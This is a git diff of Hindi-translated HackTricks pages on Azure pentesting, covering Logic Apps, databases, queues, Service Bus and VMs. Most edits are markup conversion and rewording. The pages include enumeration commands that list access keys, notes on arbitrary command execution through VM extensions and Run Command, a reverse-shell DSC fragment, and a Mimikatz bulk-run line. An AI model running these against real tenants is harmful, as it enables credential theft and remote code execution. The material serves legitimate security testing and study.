settings for a specific Logic App az logicapp config appsettings list --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.LogicApp @@ -137,17 +134,14 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} - - +{{#endtab }} +{{#endtabs }} ### Integration Accounts **Integration Accounts**, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं: * Schemas: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें। -* Maps: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें। +* Maps: अपने एकीकरण कार्यप्रवाहों के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें। * Assemblies: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें। * Certificates: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें। * Partners: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें। @@ -157,9 +151,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " @@ -219,11 +212,9 @@ az logic integration-account assembly show \ ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.LogicApp @@ -254,23 +245,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName -Integr # Retrieve details of a specific schema in an integration account Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ## विशेषाधिकार वृद्धि लॉजिक ऐप्स प्रिवेस्क के समान: -{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} -[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-logic-apps-privesc.md +{{#endref}} ## पोस्ट एक्सप्लोइटेशन -{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} -[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-logic-apps-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 8cbd8ede2..e66d4d319 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -11,21 +11,20 @@ Azure Database for MySQL एक पूरी तरह से प्रबंध - पूर्वानुमानित कार्यभार वाले एप्लिकेशनों के लिए आदर्श। * **Flexible Server**: - डेटाबेस प्रबंधन और कॉन्फ़िगरेशन पर अधिक नियंत्रण प्रदान करता है। -- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-प्रतिरोधी)। +- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-निराधार)। - सुविधाओं में लचीला स्केलिंग, पैच प्रबंधन, और कार्यभार अनुकूलन शामिल हैं। - लागत बचत के लिए स्टॉप/स्टार्ट कार्यक्षमता प्रदान करता है। ### Key Features -* **Server Management**: **ad-admin** सुविधा Azure Active Directory (AAD) प्रशासकों को MySQL सर्वरों के लिए प्रबंधित करने की अनुमति देती है, जो AAD क्रेडेंशियल्स के माध्यम से प्रशासनिक पहुंच पर नियंत्रण प्रदान करती है, जबकि **identity** सुविधा Azure Managed Identities के असाइनमेंट और प्रबंधन की अनुमति देती है, जो Azure संसाधनों तक पहुंच के लिए सुरक्षित, क्रेडेंशियल-फ्री प्रमाणीकरण प्रदान करती है। +* **Server Management**: **ad-admin** सुविधा Azure Active Directory (AAD) प्रशासकों को MySQL सर्वरों के लिए प्रबंधित करने की अनुमति देती है, AAD क्रेडेंशियल्स के माध्यम से प्रशासनिक पहुंच पर नियंत्रण प्रदान करती है, जबकि **identity** सुविधा Azure Managed Identities के असाइनमेंट और प्रबंधन की अनुमति देती है, जो Azure संसाधनों तक पहुँचने के लिए सुरक्षित, क्रेडेंशियल-फ्री प्रमाणीकरण प्रदान करती है। * **Lifecycle Management**: एक सर्वर को शुरू या बंद करने, एक लचीले सर्वर उदाहरण को हटाने, कॉन्फ़िगरेशन परिवर्तनों को जल्दी लागू करने के लिए एक सर्वर को पुनरारंभ करने, और स्वचालन स्क्रिप्ट के साथ आगे बढ़ने से पहले यह सुनिश्चित करने के लिए इंतजार करने के विकल्प। * **Security and Networking**: सुरक्षित डेटाबेस एक्सेस के लिए सर्वर फ़ायरवॉल नियमों का प्रबंधन कर सकता है और आवश्यकतानुसार वर्चुअल नेटवर्क कॉन्फ़िगरेशन को अलग कर सकता है। * **Data Protection and Backup**: डेटा पुनर्प्राप्ति के लिए लचीले सर्वर बैकअप का प्रबंधन करने, एक अलग क्षेत्र में सर्वर को पुनर्प्राप्त करने के लिए भू-बहाली करने, बाहरी उपयोग के लिए सर्वर बैकअप का निर्यात करने (पूर्वावलोकन में), और एक विशिष्ट समय पर बैकअप से सर्वर को पुनर्स्थापित करने के विकल्प शामिल हैं। ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all flexible-servers az mysql flexible-server db list --resource-group @@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group az mysql flexible-server server-logs list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.MySql @@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### कनेक्शन rdbms-connect एक्सटेंशन के साथ आप डेटाबेस तक पहुँच सकते हैं: - -{% code overflow="wrap" %} ```bash az mysql flexible-server connect -n -u -p --interactive @@ -116,17 +110,11 @@ az mysql flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - या MySQL मूल एक्सटेंशन प्लगइन के साथ -{% code overflow="wrap" %} ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -{% endcode %} - -आप गिटहब के साथ क्वेरी भी चला सकते हैं लेकिन पासवर्ड और उपयोगकर्ता भी आवश्यक हैं। आपको चलाने के लिए क्वेरी के साथ एक SQL फ़ाइल सेटअप करनी होगी और फिर: -{% code overflow="wrap" %} +आप गिटहब के साथ क्वेरी भी चला सकते हैं लेकिन पासवर्ड और उपयोगकर्ता भी आवश्यक हैं। आपको चलाने के लिए क्वेरी के साथ एक SQL फ़ाइल सेट अप करनी होगी और फिर: ```bash # Setup az mysql flexible-server deploy setup \ @@ -145,19 +133,17 @@ az mysql flexible-server deploy run \ --action-name \ --branch ``` -{% endcode %} - ## विशेषाधिकार वृद्धि -{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} -[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-mysql-privesc.md +{{#endref}} -## पोस्ट एक्सप्लोइटेशन +## पोस्ट शोषण -{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} -[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-mysql-post-exploitation.md +{{#endref}} ## करने के लिए diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 7c6f73673..de9e0e614 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -26,9 +26,8 @@ ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List servers in a resource group az postgres flexible-server list --resource-group @@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.PostgreSql @@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location Get-AzPostgreSqlServer -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### कनेक्शन rdbms-connect एक्सटेंशन के साथ आप डेटाबेस तक पहुँच सकते हैं: - -{% code overflow="wrap" %} ```bash az postgres flexible-server connect -n -u -p --interactive @@ -112,36 +106,31 @@ az postgres flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - या -{% code overflow="wrap" %} ```bash psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser ``` -{% endcode %} - ## संदर्भ -* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) -* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) ## विशेषाधिकार वृद्धि -{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} -[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} -## पोस्ट एक्सप्लोइटेशन +## पोस्ट एक्सप्लॉइटेशन -{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} -[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-postgresql-post-exploitation.md +{{#endref}} -## कार्यसूची +## करने के लिए -* ad-admin के साथ पहुँचने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक privesc विधि है +* यह सत्यापित करने के लिए ad-admin के साथ पहुंचने का एक तरीका देखें कि यह एक privesc विधि है {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index 0ea08ef45..177c6a4fe 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,7 +4,7 @@ ## Basic Information -Azure Queue Storage एक सेवा है जो Microsoft's Azure क्लाउड प्लेटफ़ॉर्म में संदेश कतार के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाना**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देता है, प्रत्येक 64 KB तक के आकार में, और कतार बनाने और हटाने, संदेश जोड़ने, पुनः प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशनों का समर्थन करता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है। +Azure Queue Storage एक सेवा है जो Microsoft's Azure cloud platform में संदेश कतार के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाती है**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देती है, प्रत्येक का आकार 64 KB तक होता है, और इसमें कतारें बनाने और हटाने, संदेश जोड़ने, प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशंस का समर्थन किया जाता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है। ### Enumeration @@ -12,19 +12,19 @@ Azure Queue Storage एक सेवा है जो Microsoft's Azure क् {{#tab name="Az Cli" }} ```bash # You need to know the --account-name of the storage (az storage account list) -az storage queue list --account-name +az storage queue list --account-name # --auth-mode login # Queue Metadata -az storage queue metadata show --name --account-name +az storage queue metadata show --name --account-name # --auth-mode login #Get ACL -az storage queue policy list --queue-name --account-name +az storage queue policy list --queue-name --account-name # --auth-mode login # Get Messages (getting a message deletes it) -az storage message get --queue-name --account-name +az storage message get --queue-name --account-name # --auth-mode login # Peek Messages -az storage message peek --queue-name --account-name +az storage message peek --queue-name --account-name # --auth-mode login ``` {{#endtab }} @@ -70,7 +70,7 @@ $queueMessage.Value ../az-privilege-escalation/az-queue-privesc.md {{#endref}} -### पोस्ट एक्सप्लोइटेशन +### पोस्ट एक्सप्लॉइटेशन {{#ref}} ../az-post-exploitation/az-queue-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 56bcb403b..1daaaea00 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -4,7 +4,7 @@ ## Service Bus -Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है जो कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कि कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना। +Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है जिनमें कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कि कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना। ### Key Concepts @@ -38,9 +38,9 @@ Azure Service Bus एक क्लाउड-आधारित **मैसेज SAS नीतियाँ Azure Service Bus संस्थाओं के नामस्थान (सबसे महत्वपूर्ण) के लिए पहुँच अनुमतियों को परिभाषित करती हैं, कतारें और विषय। प्रत्येक नीति में निम्नलिखित घटक होते हैं: - **Permissions**: पहुँच स्तर निर्दिष्ट करने के लिए चेकबॉक्स: -- प्रबंधित करें: इकाई पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है। -- भेजें: इकाई को संदेश भेजने की अनुमति देता है। -- सुनें: इकाई से संदेश प्राप्त करने की अनुमति देता है। +- प्रबंधित करें: संस्थाओं पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है। +- भेजें: संस्थाओं को संदेश भेजने की अनुमति देता है। +- सुनें: संस्थाओं से संदेश प्राप्त करने की अनुमति देता है। - **Primary and Secondary Keys**: ये क्रिप्टोग्राफिक कुंजी हैं जो पहुँच को प्रमाणित करने के लिए सुरक्षित टोकन उत्पन्न करने के लिए उपयोग की जाती हैं। - **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो उपयोग में आसानी के लिए एंडपॉइंट और कुंजी शामिल करती हैं। - **SAS Policy ARM ID**: प्रोग्रामेटिक पहचान के लिए नीति का Azure Resource Manager (ARM) पथ। @@ -51,9 +51,8 @@ sku, authrorization rule, ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.ServiceBus @@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName -NamespaceNa # Retrieves details of a specified topic in a Service Bus namespace. Get-AzServiceBusTopic -ResourceGroupName -NamespaceName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### विशेषाधिकार वृद्धि @@ -139,7 +135,7 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -NamespaceName -ResourceGroupName -ResourceGroupName ``` -## कोड निष्पादन VMs में +{{#endtab }} +{{#endtabs }} + +## VMs में कोड निष्पादन ### VM एक्सटेंशन @@ -457,7 +465,7 @@ Get-AzVMExtensionImage -Location -PublisherName -Type {{#endtab }} {{#endtabs }} -यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाए जाएं**: +यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएं**: {{#tabs }} {{#tab name="Linux" }} @@ -551,7 +559,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) -यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** को **निष्पादित** करने के लिए किया जा सकता है: +यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -617,7 +625,7 @@ az sig list --resource-group --output table # List all apps in a fallery az sig gallery-application list --gallery-name --resource-group --output table ``` -ये वे पथ हैं जहाँ एप्लिकेशन फ़ाइल सिस्टम के अंदर डाउनलोड होते हैं: +ये वे पथ हैं जहाँ एप्लिकेशन फाइल सिस्टम के अंदर डाउनलोड होते हैं: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` @@ -625,9 +633,9 @@ az sig gallery-application list --gallery-name --resource-group < नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है। +> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरी को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है। -लेकिन वहाँ **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है। +लेकिन **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है। आवश्यक अनुमतियाँ हैं: @@ -637,7 +645,7 @@ az sig gallery-application list --gallery-name --resource-group < - `Microsoft.Network/networkInterfaces/join/action` - `Microsoft.Compute/disks/write` -मनमाने आदेशों को निष्पादित करने के लिए शोषण का उदाहरण: +मनमाने कमांड निष्पादित करने के लिए शोषण का उदाहरण: {{#tabs }} {{#tab name="Linux" }} @@ -721,7 +729,7 @@ az vm application set \ ### उपयोगकर्ता डेटा -यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो यह डिफ़ॉल्ट रूप से निष्पादित नहीं होती**। +यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से पुनः प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो यह डिफ़ॉल्ट रूप से निष्पादित नहीं होती**। ### कस्टम डेटा @@ -739,7 +747,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **कमांड चलाएँ** -यह Azure द्वारा **VMs में मनमाने कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`। +यह सबसे बुनियादी तंत्र है जो Azure **VMs में मनमाने कमांड चलाने** के लिए प्रदान करता है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`। {{#tabs }} {{#tab name="Linux" }} @@ -790,7 +798,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md {{#endref}} -## बिना प्रमाणीकरण का अभिगम +## बिना प्रमाणीकरण का उपयोग {{#ref}} ../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index b0c45be67..a2716ae4d 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix ## नेटवर्क सुरक्षा समूह (NSG) -एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** यह निर्दिष्ट कर सकता है, स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा और एक प्राथमिकता असाइन करना संभव है (जितना कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)। +एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** को स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा इंगित कर सकता है और इसे एक प्राथमिकता सौंपना संभव है (जितनी कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)। NSGs को **सबनेट और NICs** से जोड़ा जा सकता है। @@ -95,15 +95,16 @@ Azure Firewall एक **प्रबंधित नेटवर्क सुर यह तीन SKUs में उपलब्ध है—**बेसिक**, **स्टैंडर्ड**, और **प्रीमियम**, प्रत्येक विशिष्ट ग्राहक आवश्यकताओं के लिए अनुकूलित: -| **सिफारिश की उपयोगिता** | सीमित आवश्यकताओं वाले छोटे/मध्यम व्यवसाय (SMBs) | सामान्य उद्यम उपयोग, लेयर 3–7 फ़िल्टरिंग | अत्यधिक संवेदनशील वातावरण (जैसे, भुगतान प्रसंस्करण) | +| Criteria/Feature | Option 1 | Option 2 | Option 3 | | ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- | -| **प्रदर्शन** | 250 Mbps तक थ्रूपुट | 30 Gbps तक थ्रूपुट | 100 Gbps तक थ्रूपुट | -| **खतरे की जानकारी** | केवल अलर्ट | अलर्ट और ब्लॉकिंग (दुष्ट IPs/डोमेन) | अलर्ट और ब्लॉकिंग (उन्नत खतरे की जानकारी) | -| **L3–L7 फ़िल्टरिंग** | बुनियादी फ़िल्टरिंग | प्रोटोकॉल के बीच स्टेटफुल फ़िल्टरिंग | उन्नत निरीक्षण के साथ स्टेटफुल फ़िल्टरिंग | -| **उन्नत खतरे की सुरक्षा** | उपलब्ध नहीं | खतरे की जानकारी आधारित फ़िल्टरिंग | घुसपैठ पहचान और रोकथाम प्रणाली (IDPS) शामिल है | -| **TLS निरीक्षण** | उपलब्ध नहीं | उपलब्ध नहीं | इनबाउंड/आउटबाउंड TLS समाप्ति का समर्थन करता है | -| **उपलब्धता** | निश्चित बैकएंड (2 VMs) | ऑटोस्केलिंग | ऑटोस्केलिंग | -| **प्रबंधन में आसानी** | बुनियादी नियंत्रण | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | +| **Recommended Use Case** | छोटे/मध्यम व्यवसाय (SMBs) जिनकी सीमित आवश्यकताएँ हैं | सामान्य उद्यम उपयोग, लेयर 3–7 फ़िल्टरिंग | अत्यधिक संवेदनशील वातावरण (जैसे, भुगतान प्रसंस्करण) | +| **Performance** | 250 Mbps तक थ्रूपुट | 30 Gbps तक थ्रूपुट | 100 Gbps तक थ्रूपुट | +| **Threat Intelligence** | केवल अलर्ट | अलर्ट और ब्लॉकिंग (दुष्ट IPs/डोमेन) | अलर्ट और ब्लॉकिंग (उन्नत खतरा खुफिया) | +| **L3–L7 Filtering** | बुनियादी फ़िल्टरिंग | प्रोटोकॉल के बीच स्टेटफुल फ़िल्टरिंग | उन्नत निरीक्षण के साथ स्टेटफुल फ़िल्टरिंग | +| **Advanced Threat Protection** | उपलब्ध नहीं | खतरा खुफिया-आधारित फ़िल्टरिंग | घुसपैठ पहचान और रोकथाम प्रणाली (IDPS) शामिल है | +| **TLS Inspection** | उपलब्ध नहीं | उपलब्ध नहीं | इनबाउंड/आउटबाउंड TLS समाप्ति का समर्थन | +| **Availability** | निश्चित बैकएंड (2 VMs) | ऑटोस्केलिंग | ऑटोस्केलिंग | +| **Ease of Management** | बुनियादी नियंत्रण | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | ### Enumeration @@ -140,13 +141,13 @@ Get-AzFirewall {{#endtab }} {{#endtabs }} -## Azure रूट टेबल +## Azure Route Tables -Azure **रूट टेबल** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है। ये नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, चाहे वह Azure संसाधनों, इंटरनेट, या किसी विशिष्ट अगले हॉप जैसे कि वर्चुअल एप्लायंस या Azure फ़ायरवॉल के लिए हो। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे। +Azure **Route Tables** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग 